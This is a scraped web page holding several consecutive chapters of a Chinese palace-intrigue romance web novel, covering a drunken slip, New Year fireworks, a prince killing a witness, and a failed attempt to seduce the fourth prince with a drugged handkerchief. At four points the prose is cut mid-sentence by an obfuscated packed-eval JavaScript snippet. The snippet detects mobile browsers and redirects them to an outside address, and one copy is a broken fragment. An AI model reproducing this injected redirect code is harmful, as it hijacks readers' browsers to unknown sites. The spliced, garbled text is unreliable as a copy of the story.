两**笑起来,凌芜在一旁看得眼角微抽,心惊肉跳。 以后万万不能让大小姐喝酒了,她醉了竟是这般口无遮拦,什么话都敢往外说,真要命! 东市新酿的果酒,看似清甜,实则后劲十足。 不多时,院中的婢女嬷嬷们便都醉意朦胧,脚步虚浮,东倒西歪。 凌芜见状,不由分说地将姜姝宁扶了起来:“大小姐,您醉了,奴婢扶您回房休息吧,仔细着凉!” 姜姝宁醉得厉害,将头靠在她肩上,抬头看着墨黑色的天幕,忽然吃吃一笑:“王爷,这天幕太黑太寂寥了,若是能长满娇艳的牡丹,该有多好啊?” 凌芜只当是醉后呓语,并未放在心上,小心翼翼地扶着她回房。 一旁的姜天泽却面色骤沉,心中醋意翻涌。 王爷?哪个王爷? 当今圣上是踩着手足的鲜血与骸骨登上皇位的。 当年,唯有年幼的雍王侥幸逃过一劫,却也被流放至千里之外的苦寒之地,终生不得回京。 姜姝宁自小便养在深闺,只怕连雍王的面都不曾见过。 所以,她口中的那个王爷,究竟是谁? 竟能让她在醉意阑珊之时,说出如此娇憨的话来? 姜姝宁这一醉,竟直接睡到第二日午膳时分。 她醒来时只觉得头疼欲裂,好在凌芜早就准备好了醒酒汤,连忙端来给她服下,这才稍稍缓解了不适。 “这东市的果酒后劲竟如此大?我也就喝了几杯,没想到竟醉成这样!”姜姝宁揉着隐隐作痛的太阳穴,略带懊恼地说道。 凌芜道:“可不是嘛,这院子里半数的婢子嬷嬷都醉倒了,今日集体起晚!” “年关将至,院中也没什么要紧事,便让她们好好休息吧。”姜姝宁有些担忧地问,“我酒后没做什么出格的事吧?” 凌芜嗔怪道:“自然是有的!大小姐一直嚷嚷着要送人下地府,若不是奴婢和夏蝉拦着,怕是要将三皇子的名讳都喊出来!” 姜姝宁一听,顿时懊恼不已。 “这院里剩的果酒快些丢掉,往后我是一口都不喝了!” 这酒不仅后劲大,还害她昨夜做了一夜旖旎的梦,梦里都是前世和萧凌川缠绵悱恻的场景。 醒来浑身酸软,竟有前世鱼水之欢后的倦怠。 都是这讨厌的果酒惹的祸! “是!奴婢定会帮你把这些果酒处理掉!” 凌芜心想,果酒扔掉多可惜啊。 大小姐喝不了后劲大的果酒,有人喝得了。 凌风,便宜你了! 姜姝宁梳洗完毕后准备用膳,还没动筷,姜天泽来了。 “天泽,用过午膳了吗?” 姜天泽目光落在她脸上,想起昨夜她那娇憨明艳的模样,违心道:“未曾。” “那便坐下来一起吃吧!”姜姝宁并未察觉到他的异样,热情地招呼道。 她注意到姜天泽眼下隐隐泛着一圈淡淡的乌青,误以为他也被那果酒的后劲所折磨,心中不禁涌起一丝歉意。 “三弟昨夜莫非也醉宿了?都怪我考虑不周,还以为这东市的果酒与府里的果酒一般,可以随意畅饮。却不曾想,竟害得你们都醉成了这般模样。” “大姐姐不必自责,无妨的。”姜天泽勉强挤出一个笑容,试图掩饰自己内心的真实情绪。 他昨夜辗转反侧,难以入眠,满脑子都是她口中那声意味不明的“王爷”,如同一根刺般深深扎在他的心头,让他寝食难安。 “凌芜方才给我喝了一碗醒酒汤,后厨应该还有,我现在就让她端来给你喝。” “不必麻烦了,大姐姐。”姜天泽看着她,还是没忍住开口问,“大姐姐昨夜说醉话,提到了‘王爷’二字。天泽好奇,不知大姐姐口中的那位‘王爷’,究竟是何人?” 听到这话,姜姝宁顿时面红耳赤。 她以为昨夜醉酒梦见萧凌川已经很荒谬了,没想到自己竟还糊里糊涂地叫出了“王爷”二字! 对上姜天泽那双探究的眼眸,她愈发觉得无地自容。 “醉话罢了……随口乱讲的,三弟不必当真。”姜姝宁夹了一口菜放进他碗里,“三弟你先吃,我吃饱了,先回屋了!” 说完,她便狼狈起身,落荒而逃。 姜天泽看着她离去的背影,眸色晦暗不明。 姜姝宁回到屋里,拉着凌芜,紧张地问:“昨夜我醉酒之后,除了说要杀了萧修湛,还说了什么?是不是提到‘王爷’二字?” 凌芜想了片刻,点了点头:“是提到了。大小姐说,‘天幕太寂寥,若是能长满牡丹就好了!’奴婢也不明白您说的是什么意思?” 姜姝宁扶额,她真的说出来了! “凌芜,答应我,这句话,你必须立马忘记,就当从未听过,明白吗?” 凌芜见她如此慎重又紧张,连忙点头:“是,大小姐!” 深夜,凌风来相府屋顶和她会面。 凌芜特地带来几壶果酒:“这些果酒后劲太大,大小姐喝了说醉话,让我处理掉,便宜你了!” 凌风接过酒壶,笑着道:“今日三皇子奉旨西行,前往西榆剿匪,想必姜姑娘很高兴吧?” “何止高兴?昨夜她还喝了不少果酒,差点当着满院人的面说出她希望三皇子死于匪巢。还说了胡话,叫了声‘王爷’。今日紧张不已,嘱咐我定要把这事给忘了。” “王爷?哪个王爷?”凌风下意识追问道。 他最近受四皇子的影响,对跟姜姑娘有关的男子都格外敏感。 “我也不知道。只听大小姐说,‘天幕太寂寥, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15620108|172253||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 若是能长满牡丹就好了’。” 凌风听得一头雾水:“这话确实令人费解。” “不费解,我知道她想要什么。” 景和宫内,烛光摇曳,晕染出一室暖意,也让萧凌川原本棱角分明的侧脸,平添了几分柔和之色。 他唇角噙起一丝温润的笑,“凡她所愿,我皆竭力满足。” 凌风更加困惑。 一句没头没脑的话,竟能让四皇子殿下露出如此罕见的神情。 这世上能轻易牵动殿下情绪之人,恐怕也只有这位姜姑娘了吧? 除夕之夜,相府上下张灯结彩,热闹非凡。 姜姝宁来到正堂,与父亲母亲,以及姜瑶真和三房一家人,一同享用年夜饭。 或许是因为三皇子萧修湛远赴西榆剿匪的缘故,姜瑶真自觉失去了靠山,今夜的她格外安静,一反常态地收敛了往日的嚣张跋扈,没有在言语上对姜姝宁进行挑衅。 姜姝宁难得地度过了一个还算愉快的除夕之夜。 唯一令她感到遗憾的,便是大哥姜天恩已然故去,再也无法与他们一同围坐在桌旁,共享这阖家团圆的温馨时刻了。 用完团圆饭,她回到自己院子里,坐在亭子里仰望天空。 天幕一如前世,澈黑寂寥。 不远处忽然传来一声震耳欲聋的巨响,紧接着,一道道绚丽的光芒划破夜空,在天幕之上竞相绽放出无数朵璀璨夺目的烟花。 相府中的人们纷纷被这突如其来的景象所吸引,纷纷**在院中,惊喜地仰望着天空,兴奋地欢呼雀跃:“是牡丹!是牡丹啊!” 姜姝宁定睛细看,只见那在夜空中绽放的烟花,果然都是各种品种、各种花色的牡丹,千姿百态,争奇斗艳,令人看得眼花缭乱,目不暇接。 她浑身颤抖,难以置信。 前世婚后,曾有一晚,她因心中郁结难解,独自一人偷偷溜到后厨,借酒浇愁。 他寻着踪迹而来,见到她独自饮酒,问她:“为何喝那么多酒?” 他简直明知故问,若非他和自己的庶妹姜瑶真纠缠不清,她又怎会如此痛苦? 她抬头看向天幕,苦涩一笑:“王爷,这天幕太黑太寂寥了,若是能长满娇艳的牡丹,该有多好啊?” 其实她想告诉他,自己就如这天幕一般寂寞。 而想要得到他的爱,就如同让天幕长满牡丹那般永无可能。 “这有何难?”他只淡淡说了这句话,上前将她打横抱起,回了寝殿。 情潮沉浮之时,她泪如泉涌。 在他心中,她不过是个满足他情欲的工具罢了。 几个月后,他命人在景王府的上空放了一夜的烟花,那些烟花朵朵都是牡丹的模样。 在漫天飞舞的牡丹烟花之下,他那原本俊美疏离的面容上,罕见地浮现出一丝得意之色。 “这般,也算是在天幕上长满牡丹了吧。” 第87章 良禽择木 第八十七章良禽择木 “牡丹乃国花,象征着富贵与吉祥。这烟花想必是陛下以示对天下黎民来年富足安康的美好祝愿啊!” 不知是谁高声喊了这么一句,瞬间将姜姝宁从那段尘封已久的回忆中拉回到了现实。 不过是当今圣上为与民同乐,特意在除夕之夜下令燃放的烟花罢了,又怎会是萧凌川专为她而放的呢? 姜姝宁仰望天幕上那璀璨的牡丹烟火,心中泛起一抹自嘲的苦涩。 她竟会生出如此荒唐的错觉,未免太过自作多情了。 城楼之上,皇帝看着天幕之上那一片绚烂夺目的烟花,脸上浮起满意的神色。 他转过头,看向身侧的萧凌川,语气中带着毫不掩饰的赞赏:“川儿,朕没想到你竟有如此本事,能在这么短的时间内,找到能工巧匠制作出如此精妙绝伦的烟花,真是让朕大开眼界啊!” 萧凌川微微躬身:“父皇过奖了,儿臣只是略尽绵薄之力罢了。能让父皇高兴,是儿臣的荣幸!” 皇帝再次将目光投向那片被烟花点亮的夜空,语气中带着一丝惋惜:“只可惜啊,老三如今正在西行剿匪的路上,无缘得见京城这番盛景!” 萧凌川深邃的桃花眸中掠过一丝阴郁,随即又迅速恢复如常。 “想必三哥很快就能为父皇平定匪乱,凯旋而归!” 皇帝眼底晦暗不明,意味深长地说道:“朕的这些皇子们,个个都是文韬武略,才能过人!将来这大邺的江山,交给你们治理,定会更加繁荣昌盛!” 萧凌川听出了他话中的弦外之音,自嘲道:“还是三哥有本事,能西行剿匪,为父皇分忧解难,不像儿臣,只会弄些烟花炮仗,博父皇一笑!” 皇帝顿时朗声大笑:“老四何须如此妄自菲薄?在朕的心中,你半分都不比老三差!” “多谢父皇!”萧凌川再次躬身行礼,缓缓退下,嘴角勾起一抹讳莫如深的笑。 他离开后,皇帝脸上的笑容瞬间褪去,取而代之的是一片阴沉。 他问身旁的大总管陈顺:“朕让你查的事情,查得怎么样了?老三和苏美人,从前是否相识?” 陈顺连忙躬身回答道:“回禀陛下,奴才已经查清楚了。那个苏美人当初在春香楼时,是三皇子殿下将她一手捧红的。而且,三皇子殿下还暗中入股了春香楼的生意,那些被他捧红的头牌们所赚的银子,他都能从中分红……” “好啊!朕的这个儿子,真是好大的本事!”皇帝脸上浮现出一丝阴冷的笑,“在外面花天酒地、以权谋私,这些朕都可以睁一只眼闭一只眼,没想到他的野心竟如此大,手都伸到朕的后宫里来了!若朕放任他继续胡作非为,他们王家还会把朕这个皇帝放在眼里吗?” “陛下所言极是!”陈顺小心翼翼地观察着皇帝的脸色,试探性地问道,“那……那个苏美人,是否需要奴才出面处置了?” “不必了!”皇帝笑容里带着掌控一切的自信,“说到底,她不过是一个为生计所迫的可怜女子罢了,恰好被老三当作了一枚棋子,朕又何必迁怒于她?相信她很快便会明白良禽择木而栖这个道理,知道该将忠诚献于何人。” “陛下英明!” 此时,西行的军队正在荒凉的官道上扎营,凛冽的寒风呼啸而过,卷起阵阵尘土。 顾亦庭独自一人蜷缩在简陋的军帐里瑟瑟发抖。 往年的除夕之夜,他都是在燃着银骨炭的房中度过,家人围坐在一起,品尝着美味佳肴,把酒言欢,何等惬意。 可如今,他却要在这荒无人烟的野外,忍受着风餐露宿的折磨,心中不禁悲从中来。 正当他自怨自艾时,几个士兵突然掀开帐帘,见他独自躲在角落里啃着干硬的糕点,脸上露出嘲讽之色。 “呦,这不是顾公子吗?怎么一个人躲在这里?不出来跟我们一起吃肉喝酒,热闹热闹?” 顾亦庭闻言,脸上掠过一丝厌恶之色。 他自诩是饱读诗书的文人雅士,向来瞧不起这些粗俗不堪的武夫,自然不屑与他们为伍。 再加上此次西榆之行异常艰苦,他本就不像那些习武之人那样身强体健,即使躲在颠簸的马车里,也难以抵挡这酷寒的侵袭,整个人都显得病恹恹的。 士兵们见他一路上几乎都在歇息,便认定他是来镀金、白白捞取剿匪功劳的,对他十分鄙夷,只要有机会,便会冷嘲热讽他一番。 “你们吃好喝好便可,不必管我!”顾亦庭语气冷淡地拒绝。 士兵们并不打算轻易放过他,他们仗着自己人多势众,力气又大,不由分说地将顾亦庭从军帐里粗暴地拽了出来。 “今儿可是除夕夜,普天同庆的日子!就连尊贵的三皇子殿下都纡尊降贵,与我们一同烤肉饮酒,顾公子你又何必摆出这副高高在上的架子呢?” “你们……你们想干什么?快放开我!” 顾亦庭气得拼命挣扎,可他哪里是这些如狼似虎的士兵的对手,最终还是被他们强行拖拽到篝火旁。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15620109|172253||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “顾公子,来,喝酒!”一个士兵皮笑肉不笑地端起一碗酒,凑到顾亦庭面前。 顾亦庭还未来得及伸手去接,那士兵便手一抖,将那碗酒尽数泼洒在他的脸上。 冰冷的酒液顺着脸颊滑落,刺骨的寒风迎面吹来,冻得他忍不住打了个喷嚏,狼狈不堪的模样引得周围的士兵们一阵哄堂大笑。 “哎呀,顾公子,真是对不住啊!您可要小心着凉才是,来,吃点热乎的暖暖身子吧!” 另一个士兵阴阳怪气地说道,随即拿起一根烤得油光锃亮的鸡腿,不由分说地往他的嘴里塞去。 顾亦庭的嘴唇瞬间被滚烫的鸡腿烫伤,疼得哇哇大叫。 不远处的军帐之中,随从压低声音,对高坐其上的萧修湛道:“殿下请放心,这几日那顾亦庭早已被我们的人吓得如同惊弓之鸟一般,想必到时候定然不敢随我们一同深入匪巢的!” 萧修湛闻言,满意地点了点头:“如此甚好。等回京之后,便禀明父皇,就说顾亦庭贪生怕死,不敢进入匪巢,想必父皇也无话可说!” 话音未落,外面突然传来一阵异常的喧闹声。 萧修湛面露不悦之色,沉声问:“何事喧哗?” 一名士兵慌慌张张地跑了进来,禀报道:“启禀殿下,那顾公子突然跑了!不知他究竟躲藏在何处!” 萧修湛脸色骤然一沉:“还不快去找?!” “是!属下这就去!”那士兵吓得浑身颤抖,连滚带爬地退了下去。 萧修湛和身边的随从交换了一个眼神,随即也起身走出军帐,加入到寻找顾亦庭的队伍之中。 他们不知道,自己前脚刚踏出军帐,顾亦庭后脚便如同一只受惊的兔子,战战兢兢地偷偷溜进了萧修湛的军帐之中。 他嘴唇被烫伤,身上也被泼满了酒水,又冷又疼。 他实在是不想再被那群如狼似虎的士兵抓回去戏弄了,只能来求三皇子为他做主。 进入军帐之后,他发现三皇子萧修湛不在,正准备离开,突然听到“嗖”的一声,只见一只矫健的雄鹰从帐门疾掠而入,丢下一张纸条,随即原路而返,消失得无影无踪。 顾亦庭下意识捡起那张落地的纸条,缓缓展开。 当他看清纸条上的文字时,脸色瞬间变得煞白,浑身如坠冰窟! 那纸条上的文字,竟然是西洲国的文字! 三皇子萧修湛竟然与西洲国的人有书信往来! 这……这不是通敌吗?! 第88章 新年添堵 第八十八章新年添堵 帐外的萧修湛与随从,恰好也看到那只从夜空掠过的雄鹰,两人心头一凛,连忙疾步返回军帐。 军帐内,那张来自西洲国的纸条正悄无声息地躺在地面上,帐内空无一人,仿佛什么都没有发生过。 随从四下张望了一番,长舒一口气:“殿下请放心,看来并没有人发现!” 萧修湛却并未放松警惕,他小心翼翼地捡起那张掉落在地的纸条,忽然发现纸上沾染到一抹猩红,脸色瞬间变得阴沉无比。 这张纸条被人碰过! 萧修湛眼中杀机顿现,他缓缓抽出腰间的利剑,在军帐内四处搜寻。 终于,在一张矮桌底下,他发现了瑟瑟发抖、面色苍白的顾亦庭。 顾亦庭被烫伤的嘴唇还在渗着血,对上萧修湛那双冷若冰霜的眼眸,他顿时吓得魂飞魄散,连忙跪倒在地,拼命地磕头求饶:“殿下饶命!殿下饶命啊!我对天发誓,今夜所见之事,我绝对不会向任何人透露半个字!求殿下开恩,饶了我吧!” 萧修湛闻言,嘴角缓缓勾起一抹阴冷的笑容,那笑容如同来自地狱的寒风,令人不寒而栗。 “顾公子,你与太子殿下可是表兄弟,本皇子信谁也不会信你!更何况,只有**的嘴,才是最严的!” 话音未落,他手中的利剑已毫不留情地刺进顾亦庭的胸膛里。 顾亦庭口中猛地喷出一口鲜血,还来不及开口说话,便直挺挺地栽倒在地,脸上还凝固着临死前那惊恐万分的表情。 萧修湛神色冰冷地看着地上的尸体,吩咐随从:“找些积雪将他裹起来,带着一起上路。等到了匪巢,便将他扔在那里,对外宣称他是被匪徒杀死的!” 他脸上露出一抹狰狞的笑容,“剿匪嘛,死个人,再正常不过了。” “是,殿下!属下明白!”随从领命。 此时,远在千里之外京城的顾御史正准备就寝。 一阵突如其来的、难以言喻的剧痛从胸口处传来,令他瞬间面色苍白,呼吸急促。 这猝不及防的痛楚,仿佛冥冥之中的某种警示,让他顿感惶恐不安。 他隐约觉得,有什么可怕的事情发生了。 —— 新年伊始,姜姝宁一早便穿上崭新的锦缎衣裳,满心喜悦地准备前往父母的院落,向他们拜年问安。 不料,刚踏入院中,一道身影如扑面而来。 那人满脸狰狞,不由分说便扬起手,朝她劈头盖脸地撒下一把白色的纸张。 姜姝宁定睛一看,竟是冥币! 此时,姜丞相与姜夫人自内院走出,恰好撞见这一幕,顿时惊得失声尖叫:“弟妹,你这是做什么?!” 凌芜连忙挡在姜姝宁身前,怒视着那撒冥币的姜二夫人:“大过年的,姜二夫人怎能对我们大小姐做出如此晦气之事?莫非是失心疯了不成?!” 姜二夫人仰天哈哈大笑,神色癫狂:“我的天赐死得那样惨,这个**怎还有脸过年?天赐是你害死的,你怎么不去地府陪他?!” 姜姝宁冷声道:“二婶,我要说多少遍你才肯信?二哥的死与我无关!我从未想过要害他性命!” “不是你亲手所为,他也是因你而死!”姜二夫人目眦欲裂,不依不饶,“若不是你平日里总看天赐不顺眼,那四皇子怎会为了讨好你,雇**害我的孩儿?!” 姜姝宁冷笑一声,目光如刀般直刺对方:“既然二婶认定是四皇子雇人杀了二哥,那为何不去当面责问他?或者直接上奏陛下,求陛下为您主持公道?二婶可是不敢,还是根本拿不出证据?亦或是两者皆是?除了对我空口无凭地泼脏水,二婶还能有何本事?” “你……” 这时,姜姝宁的二叔姜二爷姗姗来迟,装模作样地扶住姜二夫人:“夫人,我知天赐离世,你心中悲痛难当。可你怎能偷偷藏着冥币,撒向姝宁呢?这等晦气之事,实在不该啊!我们今日是来给大哥大嫂拜年的,你如此行事,叫我往后还如何有脸踏入相府?” 姜姝宁冷眼旁观,瞧着二叔这副虚情假意的嘴脸,心中一阵膈应。 她冷笑出声,语气如冰,字字诛心:“二叔不是早已将祖父留给父亲的那一半家产分走了吗?怎的,当初信誓旦旦地承诺,只要分得家产,便不再追究二哥之死,如今钱财到手,就将当初承诺抛诸脑后了?见过出尔反尔的,从未见过二叔这般厚颜无耻,简直令人叹为观止!” “你……”姜二爷被她这番话刺得面红耳赤,手指颤抖,气得几乎说不出话来,“你害死我家天赐,竟还敢如此羞辱于我!当真是反了天了!” “我何止羞辱你,我还要将你赶出相府!”姜姝宁毫不留情地冷声下令,“来人,将姜二爷和姜二夫人轰出去!从今往后,不许他们再踏进相府半步!” “是,大小姐!”护院们齐声应诺,动作利落地围上前来,不顾姜二爷和姜二夫人的咆哮挣扎,强硬地将他们 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15620110|172253||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 驱逐出门。 一场荒唐闹剧这才收场。 姜夫人上前,心疼拉住姜姝宁的手:“我的宁儿受委屈了。” 姜丞相也一脸歉意:“是父亲思虑不周,你二叔说要来拜年,我本不应该让他们进府的。可一想到他们与我们一样,新年佳节却没了儿子在身边陪伴,一时心软,便允了他们。谁知你二婶竟会带着冥币这等晦气之物前来……” “父亲不用自责,女儿不在意。”姜姝宁神色已经恢复了平静,“二叔二婶不是什么良善之辈,父亲母亲往后还是尽量避免与他们来往为妙。否则,今日这般的闹剧,恐怕还会接连上演。” 姜丞相和姜夫人深以为然:“往后都听宁儿的。” 姜姝宁领了红包,回到翠竹院。 凌芜道:“大小姐,这冥币实在太晦气了,要不你把衣衫换下来,奴婢给您煮一锅柚子水,让您洗一洗,去去晦气如何?” “不必了,冥币而已,并不会对我造成什么实质性伤害。” 凌芜不由感慨道:“若是换作别的姑娘,在大年初一被人当头撒了冥币,只怕早就哭得梨花带雨了。咱们大小姐当真是与寻常闺阁女子大不相同,心性坚韧,令人敬佩!” 姜姝宁笑笑:“他们无非是想让我生气难过,我何必遂了他们的愿?由他们闹去吧,以后他们自会明白,这等低劣的手段,对我而言根本不痛不痒,毫无作用。” 她心想,如今这样一闹也好,索性彻底断绝了与二房的往来。 否则,以父亲母亲那温善的性子,怕是总要被二房夫妇利用了去。 她又忍不住想,前世自己死后,棺木上应该堆着厚厚的冥币吧? 她有些后悔为了报复萧凌川,没在临死前告诉他自己是被毒死的真相。 若前世父母以为她是服毒**,该有多伤心难过。 好在今生她已决定与萧凌川划清界限,不再担心被有心之人算计毒害。 —— 姜二爷和姜二夫人被赶出相府后,两人径直来到了来福酒楼。 姜瑶真早已端坐在茶桌旁,慢条斯理地品茗。 她的身边,还坐着姜二爷的女儿姜莲。 姜二夫人一脸谄媚地凑上前,语气殷勤道:“瑶真,二婶已经按照你吩咐的,特意跑到相府去,给姜姝宁那小**添堵了。你看,你现在是不是能帮帮二婶了?” 姜瑶真放下手中的茶盏,嘴角微勾:“二婶有话,但说无妨。” 第89章 美色当前 第八十九章美色当前 “瑶真,你看,如今你二哥不在了,二婶就剩莲儿这一个女儿了。”姜二夫人拉过姜莲,语气哀戚,“若你能帮她觅得良婿,二叔二婶定当重谢!” 姜瑶真轻笑,话里带着试探:“良婿?二婶莫不是想让莲儿妹妹攀龙附凤,给三皇子做侧妃?” 姜二夫人闻言,忙不迭地摆手,神色惶恐:“瑶真可别打趣我了,莲儿哪有这等福分?再说了,你若成了三皇子妃,殿下还不得日日围着你转,哪还有心思纳旁人?” 此话一出,姜瑶真脸上才浮现真心笑意。 “二婶可别小瞧莲儿妹妹,她如今……” 她的目光落在姜莲身上,心中暗惊。 数月不见,姜莲又张开了些,眉眼间竟与姜姝宁有了几分相似。 只是少了姜姝宁的大气明艳,多了几分小家碧玉的柔弱,更显楚楚动人。 若是精心打扮一番,说不定真能把某人迷住。 想到这,姜瑶真的声音顿时柔和了些:“二婶放心,莲儿是我的堂妹,我自会为她寻个好归宿。这样吧,你们先回去,我将她打扮一番,稍后带她去见一位贵人,如何?” 姜二夫人激动得连连点头:“那真是太好了,瑶真!你果然是我们姜家最有出息的姑娘!莲儿的终身大事,可就托付给你了!” “包在我身上。” 姜瑶真送走二房夫妇,再次将目光投向姜莲,眼底闪过一丝算计。 “莲儿,过来,我给你好好打扮一番!” 她仔细给姜莲上了妆,还给她换了套浅青色的长裙。 姜莲在铜镜前左看右看,有些诧异道:“二姐姐,莲儿这副打扮,是不是太像大姐姐了?” “这妆容与衣衫,本就是照着她的模样来搭配的,自然像她。怎么,你不喜欢?”姜瑶真挑了挑眉。 “倒也不是。”姜莲谄媚道,“只是大姐姐再美,也终究不及二姐姐您貌若天仙。莲儿以为,妆容打扮还是与二姐姐相似才好。” 这恭维的话让姜瑶真很是受用,她笑道:“你这小嘴甜的!放心,我这般打扮你,自是有我的打算。待会那位贵人来了,你只需按照我的指示行事便可……” 她说着,从袖子里掏出一条帕子,塞进姜莲的袖口里。 不多时,萧凌川就收到凌风带来的消息,说姜瑶真在来福酒楼雅间等他,声称有要事相商。 凌风冷哼一声:“这姜二姑娘谱还真大,大年初一,阖家团圆的日子,竟也敢将殿下您约出去!她以为她是谁?” 萧凌川神色微沉:“看来,她是笃定我会去见她。” “殿下,不必理会她!她不过是殿下您用来拿捏南月细作的一枚棋子罢了,竟也敢在如此重要的日子约见殿下,实在是……” 凌风的话还未说完,萧凌川已起身,神色清冷如霜:“既然如此,那便去会她一会吧,看看她究竟有什么非见我不可的理由!” 凌风无奈,只得紧随其后:“是,殿下!” 来福酒楼的雅间里,檀香袅袅。 萧凌川一袭锦衣,扮作寻常贵公子,却难掩身上与生俱来的矜贵气质。 他步入雅间,所有的华光都在他脸上,四周仿佛瞬间失去了颜色。 姜瑶真见状,连忙上前盈盈一拜:“臣女见过殿下!” 姜莲从未见过如此俊美出色的男子,一时间双颊绯红,心如鹿撞。 她慌忙学着姜瑶真的模样,盈盈下拜。 萧凌川在主位落座,还未开口,他身旁的凌风便已忍不住出声斥责:“姜二姑娘,有事便快说,若是耽误殿下参加今日的朝会,定不轻饶你!” 姜瑶真闻言,心中冷笑:四皇子,你今日既然来了这里,就别想再参加什么朝会了! 温柔乡的滋味,岂是那枯燥乏味的朝会能比的? 脸上却堆满了讨好的笑容:“臣女今日请殿下前来,自然是有要事相求。只是此事事关重大,不宜外传,还请这位侍卫大人先行回避。” 凌风本想拒绝,却被萧凌川一个眼神制止。 他只得不甘心地走出雅间,顺手将房门关上。 待凌风离开后,姜瑶真立刻将身旁的姜莲拉到萧凌川面前,殷勤道:“莲儿,快来见过殿下!” 姜莲并不知道眼前这位俊美不凡的男子便是当今四皇子,只当是二姐姐口中的贵人,便顺从地福了福身子:“民女姜莲见过殿下!” 萧凌川刚进门时,便已经注意到了姜莲的存在。 只因她身上那股刻意模仿姜姝宁的痕迹太过明显,无论是妆容,还是衣衫,都与姜姝宁有几分相似,想让人忽略都难。 他瞬间便猜到了姜瑶真将他约来此处的目的,眼底不由自主地涌起一股难以掩饰的厌恶。 “姜二姑娘,你这是何意?”他的声音低沉而冰冷,带着一丝显而易见的愠怒。 姜瑶真被他这冷淡的模样吓了一跳,心中顿时犯起了嘀咕:怎么,你对姜姝宁爱而不得,如今我好心帮你找了个替身来,你还不高兴吗? “殿下,这位是臣女的三妹莲儿。今日她本随二叔二婶前往相府拜年,没想到竟被大姐姐下令轰了出来。”她顿了顿,见他表情没什么变化,这才继续道,“二叔二婶如今膝下仅剩莲儿这一女,臣女斗胆,恳请殿下收她入府,哪怕只做个粗使丫头,也好过她无依无靠。” 萧凌川嗤笑一声:“收她?一个赌徒兄长的妹妹,怎配留在我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15620111|172253||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 身侧?” 此言一出,雅间内的空气仿佛瞬间凝固。 姜莲脸涨得通红,眼眶泛起泪光,羞窘得几欲夺门而出。 姜瑶真笑容一僵,忙打圆场:“殿下,兄妹自是不同,莲儿秉性温婉,与大姐姐有几分相似,定能伺候得妥帖。莲儿,还不快为殿下奉茶!” “是……”姜莲低声应道,慌乱中上前端起茶盏。 谁知身后忽被人一推,她猝不及防,整个人失了重心,直直朝萧凌川怀中跌去。 萧凌川眼疾手快,抬手一挡,欲将她推开,鼻尖却嗅到一股甜腻的香气。 他心头一凛,顿时勃然大怒:“姜瑶真,三番两次用这种下作手段,你把本皇子当什么了?!” 这声怒吼犹如惊雷,把姜瑶真和姜莲吓得脸色煞白。 凌风听到声音,立马推门而入:“殿下,发生何事?” 姜瑶真想解释什么,萧凌川压根不给她任何机会。 “凌风,这个月的解药无需给她!” “是,殿下!””凌风恭声应道。 “不!殿下!”姜瑶真惊恐万分,那种皮肉溃烂、生不如死的滋味,她只要想起就觉得胆战心惊,绝不想再经历第二次。 她连忙跪倒在萧凌川面前,泪眼婆娑,苦苦哀求:“殿下,臣女知错了!臣女只是见三妹与大姐姐有几分相似,想着将她送到殿下身边,或许能讨殿下欢心……” “她?像姜姝宁?”萧凌川冷笑一声,“你听过‘画虎不成反类犬’吗?简直可笑!” 这话就跟扇在姜莲脸上似的,她的脸顿时一阵红辣辣的疼。 姜瑶真还想继续哀求,萧凌川依旧起身和凌风扬长而去。 看着他们决绝的背影,她跌坐在地上,口中喃喃自语:“不可能,他怎么拒绝得了……” 为了让姜莲能顺利成为萧凌川的女人,她费尽了心思。 不仅让姜莲模仿姜姝宁的妆容打扮,还特意将沾了媚药的帕子塞在姜莲的袖中。 这媚药是春香楼的姑娘们惯用的手段,女子闻了没什么感觉,男子一旦沾染,便会欲火焚身,难以自持。 姜莲的样貌本就与姜姝宁有几分相似,再加上这药效霸道的媚药,她不相信萧凌川会无动于衷。 没想到,事情竟出乎她的意料。 美色当前,萧凌川竟硬生生抵挡住了! 一旁的姜莲并不知道发生了什么,一脸懵懂地看着姜瑶真,怯生生地唤了一声:“二姐姐……” 